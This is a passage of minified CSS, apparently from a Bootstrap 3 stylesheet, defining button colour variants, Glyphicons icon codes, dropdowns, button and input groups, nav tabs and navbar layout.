.btn-warning:active,.btn-warning.disabled.active,.btn-warning[disabled].active,fieldset[disabled] .btn-warning.active{background-color:#f0ad4e;border-color:#eea236;}.btn-warning .badge{color:#f0ad4e;background-color:#fff;}.btn-danger{color:#ffffff;background-color:#d9534f;border-color:#d43f3a;}.btn-danger:hover,.btn-danger:focus,.btn-danger:active,.btn-danger.active,.open .dropdown-toggle.btn-danger{color:#ffffff;background-color:#d2322d;border-color:#ac2925;}.btn-danger:active,.btn-danger.active,.open .dropdown-toggle.btn-danger{background-image:none;}.btn-danger.disabled,.btn-danger[disabled],fieldset[disabled] .btn-danger,.btn-danger.disabled:hover,.btn-danger[disabled]:hover,fieldset[disabled] .btn-danger:hover,.btn-danger.disabled:focus,.btn-danger[disabled]:focus,fieldset[disabled] .btn-danger:focus,.btn-danger.disabled:active,.btn-danger[disabled]:active,fieldset[disabled] .btn-danger:active,.btn-danger.disabled.active,.btn-danger[disabled].active,fieldset[disabled] .btn-danger.active{background-color:#d9534f;border-color:#d43f3a;}.btn-danger .badge{color:#d9534f;background-color:#fff;}.btn-success{color:#ffffff;background-color:#5cb85c;border-color:#4cae4c;}.btn-success:hover,.btn-success:focus,.btn-success:active,.btn-success.active,.open .dropdown-toggle.btn-success{color:#ffffff;background-color:#47a447;border-color:#398439;}.btn-success:active,.btn-success.active,.open .dropdown-toggle.btn-success{background-image:none;}.btn-success.disabled,.btn-success[disabled],fieldset[disabled] .btn-success,.btn-success.disabled:hover,.btn-success[disabled]:hover,fieldset[disabled] .btn-success:hover,.btn-success.disabled:focus,.btn-success[disabled]:focus,fieldset[disabled] .btn-success:focus,.btn-success.disabled:active,.btn-success[disabled]:active,fieldset[disabled] .btn-success:active,.btn-success.disabled.active,.btn-success[disabled].active,fieldset[disabled] .btn-success.active{background-color:#5cb85c;border-color:#4cae4c;}.btn-success .badge{color:#5cb85c;background-color:#fff;}.btn-info{color:#ffffff;background-color:#5bc0de;border-color:#46b8da;}.btn-info:hover,.btn-info:focus,.btn-info:active,.btn-info.active,.open .dropdown-toggle.btn-info{color:#ffffff;background-color:#39b3d7;border-color:#269abc;}.btn-info:active,.btn-info.active,.open .dropdown-toggle.btn-info{background-image:none;}.btn-info.disabled,.btn-info[disabled],fieldset[disabled] .btn-info,.btn-info.disabled:hover,.btn-info[disabled]:hover,fieldset[disabled] .btn-info:hover,.btn-info.disabled:focus,.btn-info[disabled]:focus,fieldset[disabled] .btn-info:focus,.btn-info.disabled:active,.btn-info[disabled]:active,fieldset[disabled] .btn-info:active,.btn-info.disabled.active,.btn-info[disabled].active,fieldset[disabled] .btn-info.active{background-color:#5bc0de;border-color:#46b8da;}.btn-info .badge{color:#5bc0de;background-color:#fff;}.btn-link{color:#428bca;font-weight:normal;cursor:pointer;border-radius:0;}.btn-link,.btn-link:active,.btn-link[disabled],fieldset[disabled] .btn-link{background-color:transparent;-webkit-box-shadow:none;box-shadow:none;}.btn-link,.btn-link:hover,.btn-link:focus,.btn-link:active{border-color:transparent;}.btn-link:hover,.btn-link:focus{color:#2a6496;text-decoration:underline;background-color:transparent;}.btn-link[disabled]:hover,fieldset[disabled] .btn-link:hover,.btn-link[disabled]:focus,fieldset[disabled] .btn-link:focus{color:#999999;text-decoration:none;}.btn-lg{padding:10px 16px;font-size:18px;line-height:1.33;border-radius:6px;}.btn-sm{padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px;}.btn-xs{padding:1px 5px;font-size:12px;line-height:1.5;border-radius:3px;}.btn-block{display:block;width:100%;padding-left:0;padding-right:0;}.btn-block+.btn-block{margin-top:5px;}input[type="submit"].btn-block,input[type="reset"].btn-block,input[type="button"].btn-block{width:100%;}.fade{opacity:0;-webkit-transition:opacity 0.15s linear;transition:opacity 0.15s linear;}.fade.in{opacity:1;}.collapse{display:none;}.collapse.in{display:block;}.collapsing{position:relative;height:0;overflow:hidden;-webkit-transition:height 0.35s ease;transition:height 0.35s ease;}@font-face{font-family:'Glyphicons Halflings';src:url('../fonts/glyphicons-halflings-regular.eot');src:url('../fonts/glyphicons-halflings-regular.eot?#iefix') format('embedded-opentype'),url('../fonts/glyphicons-halflings-regular.woff') format('woff'),url('../fonts/glyphicons-halflings-regular.ttf') format('truetype'),url('../fonts/glyphicons-halflings-regular.svg#glyphicons-halflingsregular') format('svg');}.glyphicon{position:relative;top:1px;display:inline-block;font-family:'Glyphicons Halflings';font-style:normal;font-weight:normal;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;}.glyphicon:empty{width:1em;}.glyphicon-asterisk:before{content:"\2a";}.glyphicon-plus:before{content:"\2b";}.glyphicon-euro:before{content:"\20ac";}.glyphicon-minus:before{content:"\2212";}.glyphicon-cloud:before{content:"\2601";}.glyphicon-envelope:before{content:"\2709";}.glyphicon-pencil:before{content:"\270f";}.glyphicon-glass:before{content:"\e001";}.glyphicon-music:before{content:"\e002";}.glyphicon-search:before{content:"\e003";}.glyphicon-heart:before{content:"\e005";}.glyphicon-star:before{content:"\e006";}.glyphicon-star-empty:before{content:"\e007";}.glyphicon-user:before{content:"\e008";}.glyphicon-film:before{content:"\e009";}.glyphicon-th-large:before{content:"\e010";}.glyphicon-th:before{content:"\e011";}.glyphicon-th-list:before{content:"\e012";}.glyphicon-ok:before{content:"\e013";}.glyphicon-remove:before{content:"\e014";}.glyphicon-zoom-in:before{content:"\e015";}.glyphicon-zoom-out:before{content:"\e016";}.glyphicon-off:before{content:"\e017";}.glyphicon-signal:before{content:"\e018";}.glyphicon-cog:before{content:"\e019";}.glyphicon-trash:before{content:"\e020";}.glyphicon-home:before{content:"\e021";}.glyphicon-file:before{content:"\e022";}.glyphicon-time:before{content:"\e023";}.glyphicon-road:before{content:"\e024";}.glyphicon-download-alt:before{content:"\e025";}.glyphicon-download:before{content:"\e026";}.glyphicon-upload:before{content:"\e027";}.glyphicon-inbox:before{content:"\e028";}.glyphicon-play-circle:before{content:"\e029";}.glyphicon-repeat:before{content:"\e030";}.glyphicon-refresh:before{content:"\e031";}.glyphicon-list-alt:before{content:"\e032";}.glyphicon-lock:before{content:"\e033";}.glyphicon-flag:before{content:"\e034";}.glyphicon-headphones:before{content:"\e035";}.glyphicon-volume-off:before{content:"\e036";}.glyphicon-volume-down:before{content:"\e037";}.glyphicon-volume-up:before{content:"\e038";}.glyphicon-qrcode:before{content:"\e039";}.glyphicon-barcode:before{content:"\e040";}.glyphicon-tag:before{content:"\e041";}.glyphicon-tags:before{content:"\e042";}.glyphicon-book:before{content:"\e043";}.glyphicon-bookmark:before{content:"\e044";}.glyphicon-print:before{content:"\e045";}.glyphicon-camera:before{content:"\e046";}.glyphicon-font:before{content:"\e047";}.glyphicon-bold:before{content:"\e048";}.glyphicon-italic:before{content:"\e049";}.glyphicon-text-height:before{content:"\e050";}.glyphicon-text-width:before{content:"\e051";}.glyphicon-align-left:before{content:"\e052";}.glyphicon-align-center:before{content:"\e053";}.glyphicon-align-right:before{content:"\e054";}.glyphicon-align-justify:before{content:"\e055";}.glyphicon-list:before{content:"\e056";}.glyphicon-indent-left:before{content:"\e057";}.glyphicon-indent-right:before{content:"\e058";}.glyphicon-facetime-video:before{content:"\e059";}.glyphicon-picture:before{content:"\e060";}.glyphicon-map-marker:before{content:"\e062";}.glyphicon-adjust:before{content:"\e063";}.glyphicon-tint:before{content:"\e064";}.glyphicon-edit:before{content:"\e065";}.glyphicon-share:before{content:"\e066";}.glyphicon-check:before{content:"\e067";}.glyphicon-move:before{content:"\e068";}.glyphicon-step-backward:before{content:"\e069";}.glyphicon-fast-backward:before{content:"\e070";}.glyphicon-backward:before{content:"\e071";}.glyphicon-play:before{content:"\e072";}.glyphicon-pause:before{content:"\e073";}.glyphicon-stop:before{content:"\e074";}.glyphicon-forward:before{content:"\e075";}.glyphicon-fast-forward:before{content:"\e076";}.glyphicon-step-forward:before{content:"\e077";}.glyphicon-eject:before{content:"\e078";}.glyphicon-chevron-left:before{content:"\e079";}.glyphicon-chevron-right:before{content:"\e080";}.glyphicon-plus-sign:before{content:"\e081";}.glyphicon-minus-sign:before{content:"\e082";}.glyphicon-remove-sign:before{content:"\e083";}.glyphicon-ok-sign:before{content:"\e084";}.glyphicon-question-sign:before{content:"\e085";}.glyphicon-info-sign:before{content:"\e086";}.glyphicon-screenshot:before{content:"\e087";}.glyphicon-remove-circle:before{content:"\e088";}.glyphicon-ok-circle:before{content:"\e089";}.glyphicon-ban-circle:before{content:"\e090";}.glyphicon-arrow-left:before{content:"\e091";}.glyphicon-arrow-right:before{content:"\e092";}.glyphicon-arrow-up:before{content:"\e093";}.glyphicon-arrow-down:before{content:"\e094";}.glyphicon-share-alt:before{content:"\e095";}.glyphicon-resize-full:before{content:"\e096";}.glyphicon-resize-small:before{content:"\e097";}.glyphicon-exclamation-sign:before{content:"\e101";}.glyphicon-gift:before{content:"\e102";}.glyphicon-leaf:before{content:"\e103";}.glyphicon-fire:before{content:"\e104";}.glyphicon-eye-open:before{content:"\e105";}.glyphicon-eye-close:before{content:"\e106";}.glyphicon-warning-sign:before{content:"\e107";}.glyphicon-plane:before{content:"\e108";}.glyphicon-calendar:before{content:"\e109";}.glyphicon-random:before{content:"\e110";}.glyphicon-comment:before{content:"\e111";}.glyphicon-magnet:before{content:"\e112";}.glyphicon-chevron-up:before{content:"\e113";}.glyphicon-chevron-down:before{content:"\e114";}.glyphicon-retweet:before{content:"\e115";}.glyphicon-shopping-cart:before{content:"\e116";}.glyphicon-folder-close:before{content:"\e117";}.glyphicon-folder-open:before{content:"\e118";}.glyphicon-resize-vertical:before{content:"\e119";}.glyphicon-resize-horizontal:before{content:"\e120";}.glyphicon-hdd:before{content:"\e121";}.glyphicon-bullhorn:before{content:"\e122";}.glyphicon-bell:before{content:"\e123";}.glyphicon-certificate:before{content:"\e124";}.glyphicon-thumbs-up:before{content:"\e125";}.glyphicon-thumbs-down:before{content:"\e126";}.glyphicon-hand-right:before{content:"\e127";}.glyphicon-hand-left:before{content:"\e128";}.glyphicon-hand-up:before{content:"\e129";}.glyphicon-hand-down:before{content:"\e130";}.glyphicon-circle-arrow-right:before{content:"\e131";}.glyphicon-circle-arrow-left:before{content:"\e132";}.glyphicon-circle-arrow-up:before{content:"\e133";}.glyphicon-circle-arrow-down:before{content:"\e134";}.glyphicon-globe:before{content:"\e135";}.glyphicon-wrench:before{content:"\e136";}.glyphicon-tasks:before{content:"\e137";}.glyphicon-filter:before{content:"\e138";}.glyphicon-briefcase:before{content:"\e139";}.glyphicon-fullscreen:before{content:"\e140";}.glyphicon-dashboard:before{content:"\e141";}.glyphicon-paperclip:before{content:"\e142";}.glyphicon-heart-empty:before{content:"\e143";}.glyphicon-link:before{content:"\e144";}.glyphicon-phone:before{content:"\e145";}.glyphicon-pushpin:before{content:"\e146";}.glyphicon-usd:before{content:"\e148";}.glyphicon-gbp:before{content:"\e149";}.glyphicon-sort:before{content:"\e150";}.glyphicon-sort-by-alphabet:before{content:"\e151";}.glyphicon-sort-by-alphabet-alt:before{content:"\e152";}.glyphicon-sort-by-order:before{content:"\e153";}.glyphicon-sort-by-order-alt:before{content:"\e154";}.glyphicon-sort-by-attributes:before{content:"\e155";}.glyphicon-sort-by-attributes-alt:before{content:"\e156";}.glyphicon-unchecked:before{content:"\e157";}.glyphicon-expand:before{content:"\e158";}.glyphicon-collapse-down:before{content:"\e159";}.glyphicon-collapse-up:before{content:"\e160";}.glyphicon-log-in:before{content:"\e161";}.glyphicon-flash:before{content:"\e162";}.glyphicon-log-out:before{content:"\e163";}.glyphicon-new-window:before{content:"\e164";}.glyphicon-record:before{content:"\e165";}.glyphicon-save:before{content:"\e166";}.glyphicon-open:before{content:"\e167";}.glyphicon-saved:before{content:"\e168";}.glyphicon-import:before{content:"\e169";}.glyphicon-export:before{content:"\e170";}.glyphicon-send:before{content:"\e171";}.glyphicon-floppy-disk:before{content:"\e172";}.glyphicon-floppy-saved:before{content:"\e173";}.glyphicon-floppy-remove:before{content:"\e174";}.glyphicon-floppy-save:before{content:"\e175";}.glyphicon-floppy-open:before{content:"\e176";}.glyphicon-credit-card:before{content:"\e177";}.glyphicon-transfer:before{content:"\e178";}.glyphicon-cutlery:before{content:"\e179";}.glyphicon-header:before{content:"\e180";}.glyphicon-compressed:before{content:"\e181";}.glyphicon-earphone:before{content:"\e182";}.glyphicon-phone-alt:before{content:"\e183";}.glyphicon-tower:before{content:"\e184";}.glyphicon-stats:before{content:"\e185";}.glyphicon-sd-video:before{content:"\e186";}.glyphicon-hd-video:before{content:"\e187";}.glyphicon-subtitles:before{content:"\e188";}.glyphicon-sound-stereo:before{content:"\e189";}.glyphicon-sound-dolby:before{content:"\e190";}.glyphicon-sound-5-1:before{content:"\e191";}.glyphicon-sound-6-1:before{content:"\e192";}.glyphicon-sound-7-1:before{content:"\e193";}.glyphicon-copyright-mark:before{content:"\e194";}.glyphicon-registration-mark:before{content:"\e195";}.glyphicon-cloud-download:before{content:"\e197";}.glyphicon-cloud-upload:before{content:"\e198";}.glyphicon-tree-conifer:before{content:"\e199";}.glyphicon-tree-deciduous:before{content:"\e200";}.caret{display:inline-block;width:0;height:0;margin-left:2px;vertical-align:middle;border-top:4px solid;border-right:4px solid transparent;border-left:4px solid transparent;}.dropdown{position:relative;}.dropdown-toggle:focus{outline:0;}.dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:160px;padding:5px 0;margin:2px 0 0;list-style:none;font-size:14px;background-color:#ffffff;border:1px solid #cccccc;border:1px solid rgba(0, 0, 0, 0.15);border-radius:4px;-webkit-box-shadow:0 6px 12px rgba(0, 0, 0, 0.175);box-shadow:0 6px 12px rgba(0, 0, 0, 0.175);background-clip:padding-box;}.dropdown-menu.pull-right{right:0;left:auto;}.dropdown-menu .divider{height:1px;margin:9px 0;overflow:hidden;background-color:#e5e5e5;}.dropdown-menu>li>a{display:block;padding:3px 20px;clear:both;font-weight:normal;line-height:1.428571429;color:#333333;white-space:nowrap;}.dropdown-menu>li>a:hover,.dropdown-menu>li>a:focus{text-decoration:none;color:#262626;background-color:#f5f5f5;}.dropdown-menu>.active>a,.dropdown-menu>.active>a:hover,.dropdown-menu>.active>a:focus{color:#ffffff;text-decoration:none;outline:0;background-color:#428bca;}.dropdown-menu>.disabled>a,.dropdown-menu>.disabled>a:hover,.dropdown-menu>.disabled>a:focus{color:#999999;}.dropdown-menu>.disabled>a:hover,.dropdown-menu>.disabled>a:focus{text-decoration:none;background-color:transparent;background-image:none;filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);cursor:not-allowed;}.open>.dropdown-menu{display:block;}.open>a{outline:0;}.dropdown-header{display:block;padding:3px 20px;font-size:12px;line-height:1.428571429;color:#999999;}.dropdown-backdrop{position:fixed;left:0;right:0;bottom:0;top:0;z-index:990;}.pull-right>.dropdown-menu{right:0;left:auto;}.dropup .caret,.navbar-fixed-bottom .dropdown .caret{border-top:0;border-bottom:4px solid;content:"";}.dropup .dropdown-menu,.navbar-fixed-bottom .dropdown .dropdown-menu{top:auto;bottom:100%;margin-bottom:1px;}@media (min-width:768px){.navbar-right .dropdown-menu{right:0;left:auto;}}.btn-group,.btn-group-vertical{position:relative;display:inline-block;vertical-align:middle;}.btn-group>.btn,.btn-group-vertical>.btn{position:relative;float:left;}.btn-group>.btn:hover,.btn-group-vertical>.btn:hover,.btn-group>.btn:focus,.btn-group-vertical>.btn:focus,.btn-group>.btn:active,.btn-group-vertical>.btn:active,.btn-group>.btn.active,.btn-group-vertical>.btn.active{z-index:2;}.btn-group>.btn:focus,.btn-group-vertical>.btn:focus{outline:none;}.btn-group .btn+.btn,.btn-group .btn+.btn-group,.btn-group .btn-group+.btn,.btn-group .btn-group+.btn-group{margin-left:-1px;}.btn-toolbar:before,.btn-toolbar:after{content:" ";display:table;}.btn-toolbar:after{clear:both;}.btn-toolbar:before,.btn-toolbar:after{content:" ";display:table;}.btn-toolbar:after{clear:both;}.btn-toolbar .btn-group{float:left;}.btn-toolbar>.btn+.btn,.btn-toolbar>.btn-group+.btn,.btn-toolbar>.btn+.btn-group,.btn-toolbar>.btn-group+.btn-group{margin-left:5px;}.btn-group>.btn:not(:first-child):not(:last-child):not(.dropdown-toggle){border-radius:0;}.btn-group>.btn:first-child{margin-left:0;}.btn-group>.btn:first-child:not(:last-child):not(.dropdown-toggle){border-bottom-right-radius:0;border-top-right-radius:0;}.btn-group>.btn:last-child:not(:first-child),.btn-group>.dropdown-toggle:not(:first-child){border-bottom-left-radius:0;border-top-left-radius:0;}.btn-group>.btn-group{float:left;}.btn-group>.btn-group:not(:first-child):not(:last-child)>.btn{border-radius:0;}.btn-group>.btn-group:first-child>.btn:last-child,.btn-group>.btn-group:first-child>.dropdown-toggle{border-bottom-right-radius:0;border-top-right-radius:0;}.btn-group>.btn-group:last-child>.btn:first-child{border-bottom-left-radius:0;border-top-left-radius:0;}.btn-group .dropdown-toggle:active,.btn-group.open .dropdown-toggle{outline:0;}.btn-group-xs>.btn{padding:1px 5px;font-size:12px;line-height:1.5;border-radius:3px;}.btn-group-sm>.btn{padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px;}.btn-group-lg>.btn{padding:10px 16px;font-size:18px;line-height:1.33;border-radius:6px;}.btn-group>.btn+.dropdown-toggle{padding-left:8px;padding-right:8px;}.btn-group>.btn-lg+.dropdown-toggle{padding-left:12px;padding-right:12px;}.btn-group.open .dropdown-toggle{-webkit-box-shadow:inset 0 3px 5px rgba(0, 0, 0, 0.125);box-shadow:inset 0 3px 5px rgba(0, 0, 0, 0.125);}.btn-group.open .dropdown-toggle.btn-link{-webkit-box-shadow:none;box-shadow:none;}.btn .caret{margin-left:0;}.btn-lg .caret{border-width:5px 5px 0;border-bottom-width:0;}.dropup .btn-lg .caret{border-width:0 5px 5px;}.btn-group-vertical>.btn,.btn-group-vertical>.btn-group,.btn-group-vertical>.btn-group>.btn{display:block;float:none;width:100%;max-width:100%;}.btn-group-vertical>.btn-group:before,.btn-group-vertical>.btn-group:after{content:" ";display:table;}.btn-group-vertical>.btn-group:after{clear:both;}.btn-group-vertical>.btn-group:before,.btn-group-vertical>.btn-group:after{content:" ";display:table;}.btn-group-vertical>.btn-group:after{clear:both;}.btn-group-vertical>.btn-group>.btn{float:none;}.btn-group-vertical>.btn+.btn,.btn-group-vertical>.btn+.btn-group,.btn-group-vertical>.btn-group+.btn,.btn-group-vertical>.btn-group+.btn-group{margin-top:-1px;margin-left:0;}.btn-group-vertical>.btn:not(:first-child):not(:last-child){border-radius:0;}.btn-group-vertical>.btn:first-child:not(:last-child){border-top-right-radius:4px;border-bottom-right-radius:0;border-bottom-left-radius:0;}.btn-group-vertical>.btn:last-child:not(:first-child){border-bottom-left-radius:4px;border-top-right-radius:0;border-top-left-radius:0;}.btn-group-vertical>.btn-group:not(:first-child):not(:last-child)>.btn{border-radius:0;}.btn-group-vertical>.btn-group:first-child>.btn:last-child,.btn-group-vertical>.btn-group:first-child>.dropdown-toggle{border-bottom-right-radius:0;border-bottom-left-radius:0;}.btn-group-vertical>.btn-group:last-child>.btn:first-child{border-top-right-radius:0;border-top-left-radius:0;}.btn-group-justified{display:table;width:100%;table-layout:fixed;border-collapse:separate;}.btn-group-justified>.btn,.btn-group-justified>.btn-group{float:none;display:table-cell;width:1%;}.btn-group-justified>.btn-group .btn{width:100%;}[data-toggle="buttons"]>.btn>input[type="radio"],[data-toggle="buttons"]>.btn>input[type="checkbox"]{display:none;}.input-group{position:relative;display:table;border-collapse:separate;}.input-group[class*="col-"]{float:none;padding-left:0;padding-right:0;}.input-group .form-control{width:100%;margin-bottom:0;}.input-group-lg>.form-control,.input-group-lg>.input-group-addon,.input-group-lg>.input-group-btn>.btn{height:46px;padding:10px 16px;font-size:18px;line-height:1.33;border-radius:6px;}select.input-group-lg>.form-control,select.input-group-lg>.input-group-addon,select.input-group-lg>.input-group-btn>.btn{height:46px;line-height:46px;}textarea.input-group-lg>.form-control,textarea.input-group-lg>.input-group-addon,textarea.input-group-lg>.input-group-btn>.btn{height:auto;}.input-group-sm>.form-control,.input-group-sm>.input-group-addon,.input-group-sm>.input-group-btn>.btn{height:30px;padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px;}select.input-group-sm>.form-control,select.input-group-sm>.input-group-addon,select.input-group-sm>.input-group-btn>.btn{height:30px;line-height:30px;}textarea.input-group-sm>.form-control,textarea.input-group-sm>.input-group-addon,textarea.input-group-sm>.input-group-btn>.btn{height:auto;}.input-group-addon,.input-group-btn,.input-group .form-control{display:table-cell;}.input-group-addon:not(:first-child):not(:last-child),.input-group-btn:not(:first-child):not(:last-child),.input-group .form-control:not(:first-child):not(:last-child){border-radius:0;}.input-group-addon,.input-group-btn{width:1%;white-space:nowrap;vertical-align:middle;}.input-group-addon{padding:6px 12px;font-size:14px;font-weight:normal;line-height:1;color:#555555;text-align:center;background-color:#eeeeee;border:1px solid #cccccc;border-radius:4px;}.input-group-addon.input-sm{padding:5px 10px;font-size:12px;border-radius:3px;}.input-group-addon.input-lg{padding:10px 16px;font-size:18px;border-radius:6px;}.input-group-addon input[type="radio"],.input-group-addon input[type="checkbox"]{margin-top:0;}.input-group .form-control:first-child,.input-group-addon:first-child,.input-group-btn:first-child>.btn,.input-group-btn:first-child>.dropdown-toggle,.input-group-btn:last-child>.btn:not(:last-child):not(.dropdown-toggle){border-bottom-right-radius:0;border-top-right-radius:0;}.input-group-addon:first-child{border-right:0;}.input-group .form-control:last-child,.input-group-addon:last-child,.input-group-btn:last-child>.btn,.input-group-btn:last-child>.dropdown-toggle,.input-group-btn:first-child>.btn:not(:first-child){border-bottom-left-radius:0;border-top-left-radius:0;}.input-group-addon:last-child{border-left:0;}.input-group-btn{position:relative;white-space:nowrap;}.input-group-btn:first-child>.btn{margin-right:-1px;}.input-group-btn:last-child>.btn{margin-left:-1px;}.input-group-btn>.btn{position:relative;}.input-group-btn>.btn+.btn{margin-left:-4px;}.input-group-btn>.btn:hover,.input-group-btn>.btn:active{z-index:2;}.nav{margin-bottom:0;padding-left:0;list-style:none;}.nav:before,.nav:after{content:" ";display:table;}.nav:after{clear:both;}.nav:before,.nav:after{content:" ";display:table;}.nav:after{clear:both;}.nav>li{position:relative;display:block;}.nav>li>a{position:relative;display:block;padding:10px 15px;}.nav>li>a:hover,.nav>li>a:focus{text-decoration:none;background-color:#eeeeee;}.nav>li.disabled>a{color:#999999;}.nav>li.disabled>a:hover,.nav>li.disabled>a:focus{color:#999999;text-decoration:none;background-color:transparent;cursor:not-allowed;}.nav .open>a,.nav .open>a:hover,.nav .open>a:focus{background-color:#eeeeee;border-color:#428bca;}.nav .nav-divider{height:1px;margin:9px 0;overflow:hidden;background-color:#e5e5e5;}.nav>li>a>img{max-width:none;}.nav-tabs{border-bottom:1px solid #dddddd;}.nav-tabs>li{float:left;margin-bottom:-1px;}.nav-tabs>li>a{margin-right:2px;line-height:1.428571429;border:1px solid transparent;border-radius:4px 4px 0 0;}.nav-tabs>li>a:hover{border-color:#eeeeee #eeeeee #dddddd;}.nav-tabs>li.active>a,.nav-tabs>li.active>a:hover,.nav-tabs>li.active>a:focus{color:#555555;background-color:#ffffff;border:1px solid #dddddd;border-bottom-color:transparent;cursor:default;}.nav-tabs.nav-justified{width:100%;border-bottom:0;}.nav-tabs.nav-justified>li{float:none;}.nav-tabs.nav-justified>li>a{text-align:center;margin-bottom:5px;}.nav-tabs.nav-justified>.dropdown .dropdown-menu{top:auto;left:auto;}@media (min-width:768px){.nav-tabs.nav-justified>li{display:table-cell;width:1%;}.nav-tabs.nav-justified>li>a{margin-bottom:0;}}.nav-tabs.nav-justified>li>a{margin-right:0;border-radius:4px;}.nav-tabs.nav-justified>.active>a,.nav-tabs.nav-justified>.active>a:hover,.nav-tabs.nav-justified>.active>a:focus{border:1px solid #dddddd;}@media (min-width:768px){.nav-tabs.nav-justified>li>a{border-bottom:1px solid #dddddd;border-radius:4px 4px 0 0;} .nav-tabs.nav-justified>.active>a,.nav-tabs.nav-justified>.active>a:hover,.nav-tabs.nav-justified>.active>a:focus{border-bottom-color:#ffffff;}}.nav-pills>li{float:left;}.nav-pills>li>a{border-radius:4px;}.nav-pills>li+li{margin-left:2px;}.nav-pills>li.active>a,.nav-pills>li.active>a:hover,.nav-pills>li.active>a:focus{color:#ffffff;background-color:#428bca;}.nav-stacked>li{float:none;}.nav-stacked>li+li{margin-top:2px;margin-left:0;}.nav-justified{width:100%;}.nav-justified>li{float:none;}.nav-justified>li>a{text-align:center;margin-bottom:5px;}.nav-justified>.dropdown .dropdown-menu{top:auto;left:auto;}@media (min-width:768px){.nav-justified>li{display:table-cell;width:1%;}.nav-justified>li>a{margin-bottom:0;}}.nav-tabs-justified{border-bottom:0;}.nav-tabs-justified>li>a{margin-right:0;border-radius:4px;}.nav-tabs-justified>.active>a,.nav-tabs-justified>.active>a:hover,.nav-tabs-justified>.active>a:focus{border:1px solid #dddddd;}@media (min-width:768px){.nav-tabs-justified>li>a{border-bottom:1px solid #dddddd;border-radius:4px 4px 0 0;} .nav-tabs-justified>.active>a,.nav-tabs-justified>.active>a:hover,.nav-tabs-justified>.active>a:focus{border-bottom-color:#ffffff;}}.tab-content>.tab-pane{display:none;}.tab-content>.active{display:block;}.nav-tabs .dropdown-menu{margin-top:-1px;border-top-right-radius:0;border-top-left-radius:0;}.navbar{position:relative;min-height:50px;margin-bottom:20px;border:1px solid transparent;}.navbar:before,.navbar:after{content:" ";display:table;}.navbar:after{clear:both;}.navbar:before,.navbar:after{content:" ";display:table;}.navbar:after{clear:both;}@media (min-width:768px){.navbar{border-radius:4px;}}.navbar-header:before,.navbar-header:after{content:" ";display:table;}.navbar-header:after{clear:both;}.navbar-header:before,.navbar-header:after{content:" ";display:table;}.navbar-header:after{clear:both;}@media (min-width:768px){.navbar-header{float:left;}}.navbar-collapse{max-height:340px;overflow-x:visible;padding-right:0px;padding-left:0px;border-top:1px solid transparent;box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.1);-webkit-overflow-scrolling:touch;}.navbar-collapse:before,.navbar-collapse:after{content:" ";display:table;}.navbar-collapse:after{clear:both;}.navbar-collapse:before,.navbar-collapse:after{content:" ";display:table;}.navbar-collapse:after{clear:both;}.navbar-collapse.in{overflow-y:auto;}@media (min-width:768px){.navbar-collapse{width:auto;border-top:0;box-shadow:none;}.navbar-collapse.collapse{display:block !important;height:auto !important;padding-bottom:0;overflow:visible !important;} .navbar-collapse.in{overflow-y:visible;} .navbar-fixed-top .navbar-collapse,.navbar-static-top .navbar-collapse,.navbar-fixed-bottom .navbar-collapse{padding-left:0;padding-right:0;}}.container>.navbar-header,.container>.navbar-collapse{margin-right:0px;margin-left:0px;}@media (min-width:768px){.container>.navbar-header,.container>.navbar-collapse{margin-right:0;margin-left:0;}}.navbar-static-top{z-index:1000;border-width:0 0 1px;}@media (min-width:768px){.navbar-static-top{border-radius:0;}}.navbar-fixed-top,.navbar-fixed-bottom{position:fixed;right:0;left:0;z-index:1030;}@media (min-width:768px){.navbar-fixed-top,.navbar-fixed-bottom{border-radius:0;}}.navbar-fixed-top{top:0;border-width:0 0 1px;}.navbar-fixed-bottom{bottom:0;margin-bottom:0;border-width:1px 0 0;}.navbar-brand{float:left;padding:15px 0px;font-size:18px;line-height:20px;}.navbar-brand:hover,.navbar-brand:focus{text-decoration:none;}@media (min-width:768px){.navbar>.container .navbar-brand{margin-left:0px;}}.navbar-toggle{position:relative;float:right;margin-right:0px;padding:9px 10px;margin-top:8px;margin-bottom:8px;background-color:transparent;background-image:none;border:1px solid transparent;border-radius:4px;}.navbar-toggle .icon-bar{display:block;width:22px;height:2px;border-radius:1px;}.navbar-toggle .icon-bar+.icon-bar{margin-top:4px;}@media (min-width:768px){.navbar-toggle{display:none;}}.navbar-nav{margin:7.5px 0px;}.navbar-nav>li>a{padding-top:10px;padding-bottom:10px;line-height:20px;}@media (max-width:767px){.navbar-nav .open .dropdown-menu{position:static;float:none;width:auto;margin-top:0;background-color:transparent;border:0;box-shadow:none;}.navbar-nav .open .dropdown-menu>li>a,.navbar-nav .open .dropdown-menu .dropdown-header{padding:5px 15px 5px 25px;} .navbar-nav .open .dropdown-menu>li>a{line-height:20px;}.navbar-nav .open .dropdown-menu>li>a:hover,.navbar-nav .open .dropdown-menu>li>a:focus{background-image:none;}}@media (min-width:768px){.navbar-nav{float:left;margin:0;}.navbar-nav>li{float:left;}.navbar-nav>li>a{padding-top:15px;padding-bottom:15px;} .navbar-nav.navbar-right:last-child{margin-right:0px;}}@media (min-width:768px){.navbar-left{float:left !important;} .navbar-right{float:right !important;}}.navbar-form{margin-left:0px;margin-right:0px;padding:10px 0px;border-top:1px solid transparent;border-bottom:1px solid transparent;-webkit-box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.1),0 1px 0 rgba(255, 255, 255, 0.1);box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.1),0 1px 0 rgba(255, 255, 255, 0.1);margin-top:8px;margin-bottom:8px;}@media (min-width:768px){.navbar-form .form-group{display:inline-block;margin-bottom:0;vertical-align:middle;} .navbar-form .form-control{display:inline-block;} .navbar-form select.form-control{width:auto;} .navbar-form .radio,.navbar-form .checkbox{display:inline-block;margin-top:0;margin-bottom:0;padding-left:0;} .navbar-form .radio input[type="radio"],.navbar-form .checkbox input[type="checkbox"]{float:none;margin-left:0;}}@media (max-width:767px){.navbar-form .form-group{margin-bottom:5px;}}@media 